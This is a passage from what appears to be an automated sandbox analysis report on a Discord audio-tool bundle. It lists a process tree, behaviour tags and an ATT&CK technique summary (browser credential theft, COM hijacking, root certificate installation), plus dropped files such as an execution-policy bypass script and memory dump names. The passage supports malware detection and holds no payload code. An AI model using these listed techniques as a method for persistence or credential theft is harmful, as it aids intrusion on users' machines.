- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s "C:\Program Files\EqualizerAPO\EqualizerAPO.dll"4⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files\EqualizerAPO\EqualizerAPO.dll"5⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files\EqualizerAPO\DeviceSelector.exe"C:\Program Files\EqualizerAPO\DeviceSelector.exe" /i4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Program Files\EqualizerAPO\UpdateChecker.exe"C:\Program Files\EqualizerAPO\UpdateChecker.exe" -i4⤵
- Suspicious behavior: AddClipboardFormatListener
-
-
-
C:\Users\Admin\Downloads\All In One\All In One\Discord\FreeMic\VencordInstallerCli.exe"C:\Users\Admin\Downloads\All In One\All In One\Discord\FreeMic\VencordInstallerCli.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies system certificate store
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /43⤵
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Soundpad\Soundpad.exe"C:\Program Files\Soundpad\Soundpad.exe"3⤵
-
C:\Program Files\Soundpad\SoundpadService.exe"C:\Program Files\Soundpad\SoundpadService.exe"4⤵
-
-
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /c1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /cr2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveCrashHandler64.exe"2⤵
- Executes dropped EXE
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ua /installsource core2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ua /installsource scheduler1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 7B28709B8BFC54F21BB2B147663A4847 C2⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Program Files\Soundpad\Soundpad.exe"C:\Program Files\Soundpad\Soundpad.exe" -i -s2⤵
- Drops file in System32 directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Windows\system32\UniteFx1.8.0.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /svc1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --wake --system1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b4,0x2b8,0x2bc,0x2b0,0x2c0,0xd11e40,0xd11e4c,0xd11e582⤵
- Drops file in Program Files directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --system --windows-service --service=update-internal1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b8,0x2bc,0x2c0,0x2b4,0x2c4,0xd11e40,0xd11e4c,0xd11e582⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --system --windows-service --service=update1⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe"C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\updater.exe" --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2d0,0xd11e40,0xd11e4c,0xd11e582⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
-
C:\Windows\System32\DataExchangeHost.exeC:\Windows\System32\DataExchangeHost.exe -Embedding1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x0000000000000454 0x00000000000004501⤵
- Loads dropped DLL
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x0000000000000454 0x00000000000004501⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Registry Run Keys / Startup Folder
1Event Triggered Execution
2Component Object Model Hijacking
1Image File Execution Options Injection
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Indicator Removal
1File Deletion
1Modify Registry
6Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Discovery
Browser Information Discovery
1Peripheral Device Discovery
2Query Registry
6Remote System Discovery
1System Information Discovery
6System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
e629b22.rbs
settings.dat
metadata.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
prefs.json
3844_13432508782769133.pmaf00e2ac6-4a08-46d7-8705-6bdc98c77dcd.tmp
messages.json
DeviceSelector.exe
am_MASCULINE.pak
LICENSE
widevinecdm.dll.sig
translation.mo
F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
vk_swiftshader_icd.json
icudtl.dat
dispatch.log
package.json
gpu_encoder_helper.exe
app.ico
058069b1e573572ef7538af71d47ee8a47cd4963db789ff7af1beabbc2a2ee62
17ad07ffe8bfa6781f0fc3a71a5dd1cab9fcf41db2b2f4daa38c8d5a72688f0c
2656bd2d549fe4d1fb58e8a9502d65dcb5d3a168f2f7522d04b82fee6696ff9e
2ca1f4171a44998c57ed8a71ee10e7294a9a26c37f0511a9d052bffa4037c30b
478f68b4adc8bcb74441de3a7a18b1ce7f3b107c263e112a910110f078caa1b4
52f57efd42eeb4cf08ec1c2b0a4af99d02ddfe9116b5e97166af2028d932da74
5bc8cfdcb74f165ffebe1d29b08cef623e8902d319e913a9a3e7a7687ecd5310
6cc454df82d2827e4fe5b762461bff4fffae6d0114f32c48bfae644d3d29fc63
6da8f77d0e679a1bdc7f93e76ccc1ad6189aa322e0dc12f35ebfd7240a0459aa
75c8e301f9daee1d8c0a8f578042096a24d91f80e42b4611581a048197eb0e77
80a8fc5a042d1563bf1cf5d529546423669e73d29581d2409d0324085f6f68e1
a03a1a82f09826ef2eddd6c8d46ae522f4ec1fbd236aaca385d1a0ab56cd978f
b032b4c17731f7866402da234f5b2c74f9f1c5d25949c4dade1c1e6b57620042
c0745324b95944686515d38c55c9c505fad8d936a4b558e5259f5f317a44dc94
d4abd81f09ecd9f0919cf8ad3a64ea1190af69e43eb86974840c342885b3a1d7
f9fd473855b953b67316f49a0196307f32da6f239fe3d68995cbe4fdd17d6ea0
installer.db
installer.db
installer.db
installer.db
installer.db
RELEASES
RELEASES
settings.dat
settings.dat
settings.dat
settings.dat
settings.dat
2e88ed98-bedb-4724-9ed1-b380c7a8942b.tmp
520691dd-ad43-45d9-8146-6bbd499c57f7.tmp
LOG.old
the-real-index
the-real-index~RFe671261.TMP
0c05127a-ec29-42bb-a54b-e07fdfb716fa.tmp
Edge Profile.ico
3b023fd3-7f8c-4417-8655-ef90dbfc6592.tmp
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Sdch Dictionaries
TransportSecurity
ee41cdfc-3e02-471f-b39a-97fde2c583d3.tmp
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
index.txt
index.txt
index.txt~RFe66fa07.TMP
sync_diagnostic.log
OperationConfig
OperationConfig~RFe680359.TMP
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
metadata.json
e54a29f9-e1a3-4fd3-80f4-6a6f9fdf2069.tmp
e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
metadata.json~RFe66d1ed.TMP
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
activity-stream.contile.json
5E43012191E7B1F510ACD5BF039D8BF1B9A277B2
6D89348819C8881868053197CA0754F36784BF5F
86DDBDE5E1EAFC4C588EE71FB531985C95CCC542
StartUnifiedTileModelCache.dat
StartUnifiedTileModelCache.dat
StartUnifiedTileModelCache.dat
prep_Activatable Class_Hermes_perf.cache
~earchUnifiedTileModelCache.tmp
1okwiaqq.dll
854860969.exe
980534930.exe
RES5674.tmp
__PSScriptPolicyTest_jjhgkzyi.mfs.ps1
b87a60eb-5766-4f0b-81a0-023980462210.tmp
gcapi.dll
AccessControl.dll
NSISpcre.dll
modern-wizard.bmp
content_new.js
tmpaddon
tmpaddon-1
SP_6A3FCCAE851443AAA9A826D62C102283.dat
ad.trace
ad.trace
ad.trace
device-id.cache
service.conf
service.conf
service.conf
service.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
system.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
user.conf
desktop.ini
default.exc
f01b4d95cf55d32a.automaticDestinations-ms
f01b4d95cf55d32a.automaticDestinations-ms
f01b4d95cf55d32a.automaticDestinations-ms
6824f4a902c78fbd.customDestinations-ms
6824f4a902c78fbd.customDestinations-ms
Discord.lnk
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
data.safe.tmp
events
events
04315d1b-e181-40b5-8a9f-6514e9279b1a
174e249d-832e-4212-806a-3c9289117057
4066e7eb-0462-46fe-8b36-ac68d2777c17
416c3116-dc23-42f5-8679-bf6cdf38368a
62c0be6e-3fbb-4a63-8f28-546a6168ece4
658ebfcc-a0de-4492-bfa8-d7733ad7e7f9
e40ec658-80bf-43c1-ac21-7c203eac3494
extensions.json
gmpopenh264.dll
gmpopenh264.info
manifest.json
widevinecdm.dll
prefs-1.js
prefs-1.js
prefs-1.js
prefs-1.js
prefs.js
prefs.js
prefs.js
recovery.baklz4
recovery.baklz4
recovery.baklz4
recovery.jsonlz4
3870112724rsegmnoittet-es.sqlite
3870112724rsegmnoittet-es.sqlite
f_000024
f_000031
f_000038
f_000039
f_000045
f_000085
f_000087
f_00008a
f_000090
f_000091
f_000092
f_000095
f_000096
f_000097
f_000098
f_000099
f_00009a
f_00009b
f_00009d
f_00009e
f_00009f
f_0000a0
f_0000a1
f_0000a7
f_0000a8
temp-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index
data_0
data_1
data_2
data_3
Local State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
Preferences
Preferences
ff7732cf-cd69-4c37-ba3e-e2542d8c9d77.tmp
the-real-index
the-real-index
8eb04c03-8696-4586-8856-1816512539fd.tmp
index
3385d785-4cae-4b44-8e8b-49d1922fe332.tmp
the-real-index
index.txt
index.txt
index.txt
CURRENT
MANIFEST-000001
fce6262a-9b5d-493a-b2d4-e000df52d475.tmp
index.txt
c0586372-ecdf-4d58-8ce5-6faeb51b59f5.tmp
discord-last-webrtc_0
renderer_js.log
scope_v3.json
scope_v3.json
scope_v3.json
scope_v3.json
scope_v3.json
settings.json
Discord.lnk
Execution Policy Bypass.cmd
settup.ps1
VencordInstallerCli.exe
EqualizerAPO-x64-1.4.2.exe
Soundpad_x64-4.0.30.msi
Documents - Shortcut.lnk
vencord-settings-backup-2026-04-23.json
Other
LICENSE
1okwiaqq.0.cs
1okwiaqq.cmdline
CSC93CA5296D4EB416981739238484248EA.TMP
memory/804-1299-0x000001F965EE0000-0x000001F965F02000-memory.dmp
memory/1032-1406-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-930-0x0000000000F04000-0x00000000020C6000-memory.dmp
memory/1032-2-0x0000000000F04000-0x00000000020C6000-memory.dmp
memory/1032-1195-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-32-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-0-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-405-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-938-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-1242-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-939-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1032-1265-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/1292-5346-0x0000000005690000-0x00000000056B0000-memory.dmp
memory/2968-1408-0x000002B0001E0000-0x000002B0002E0000-memory.dmp
memory/3048-1243-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-526-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-1220-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-143-0x0000000006D00000-0x0000000006D1B000-memory.dmp
memory/3048-142-0x0000000006D00000-0x0000000006D1B000-memory.dmp
memory/3048-1216-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-139-0x0000000006D00000-0x0000000006D1B000-memory.dmp
memory/3048-35-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-1200-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-1196-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/3048-940-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/4420-1401-0x00000209A6D70000-0x00000209A6D71000-memory.dmp
memory/4420-1402-0x00000209A6D70000-0x00000209A6D71000-memory.dmp
memory/4420-1386-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1384-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1383-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1380-0x00000209A6D40000-0x00000209A6D41000-memory.dmp
memory/4420-1387-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1377-0x00000209A6D30000-0x00000209A6D31000-memory.dmp
memory/4420-1375-0x00000209A6BF0000-0x00000209A6BF1000-memory.dmp
memory/4420-1340-0x00000209968C0000-0x00000209968D0000-memory.dmp
memory/4420-1356-0x00000209969C0000-0x00000209969D0000-memory.dmp
memory/4420-1405-0x00000209A8930000-0x00000209A8931000-memory.dmp
memory/4420-1390-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1404-0x00000209A8930000-0x00000209A8931000-memory.dmp
memory/4420-1388-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1403-0x00000209A6E80000-0x00000209A6E81000-memory.dmp
memory/4420-1391-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1400-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1399-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1379-0x00000209A6D30000-0x00000209A6D31000-memory.dmp
memory/4420-1394-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1381-0x00000209A6D40000-0x00000209A6D41000-memory.dmp
memory/4420-1382-0x00000209A6D50000-0x00000209A6D51000-memory.dmp
memory/4420-1385-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1389-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1398-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1393-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1392-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1395-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1397-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4420-1396-0x00000209A6D60000-0x00000209A6D61000-memory.dmp
memory/4672-1335-0x00000218C88A0000-0x00000218C88A6000-memory.dmp
memory/4672-1333-0x00000218C8A30000-0x00000218C8A5A000-memory.dmp
memory/4672-1326-0x00000218AFBD0000-0x00000218AFBD8000-memory.dmp
memory/4672-1330-0x00000218C88B0000-0x00000218C8962000-memory.dmp
memory/4672-1339-0x00000218C89B0000-0x00000218C89B8000-memory.dmp
memory/4672-1337-0x00000218C8980000-0x00000218C8988000-memory.dmp
memory/4672-1329-0x00000218C8890000-0x00000218C88AE000-memory.dmp
memory/4672-1336-0x00000218C8970000-0x00000218C897A000-memory.dmp
memory/4672-1332-0x00000218C8990000-0x00000218C89AA000-memory.dmp
memory/4672-1331-0x00000218C8B80000-0x00000218C8D84000-memory.dmp
memory/4672-1334-0x00000218C8890000-0x00000218C8898000-memory.dmp
memory/4672-1338-0x00000218C89E0000-0x00000218C8A06000-memory.dmp
memory/4700-1596-0x000002677FE40000-0x0000026780002000-memory.dmp
memory/4904-1573-0x0000028A7ED30000-0x0000028A7ED3C000-memory.dmp
memory/4904-1550-0x0000028A7EBA0000-0x0000028A7EBAA000-memory.dmp
memory/5260-1217-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-1301-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-527-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-1197-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-38-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-1275-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/5260-941-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1222-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1313-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1198-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1218-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1264-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-945-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6008-1268-0x0000000000F00000-0x0000000002620000-memory.dmp
memory/6408-1752-0x0000028268300000-0x000002826831E000-memory.dmp
memory/6628-1712-0x0000022179FD0000-0x000002217A1DA000-memory.dmp
memory/6628-1711-0x0000022179C40000-0x0000022179DB6000-memory.dmp
memory/7172-5128-0x0000000000630000-0x00000000007BA000-memory.dmp
memory/7172-5140-0x0000000008560000-0x0000000008568000-memory.dmp
memory/7172-5141-0x00000000085E0000-0x000000000861E000-memory.dmp
memory/7172-5142-0x00000000085B0000-0x00000000085BE000-memory.dmp
memory/7172-5633-0x0000000006B70000-0x0000000006C02000-memory.dmp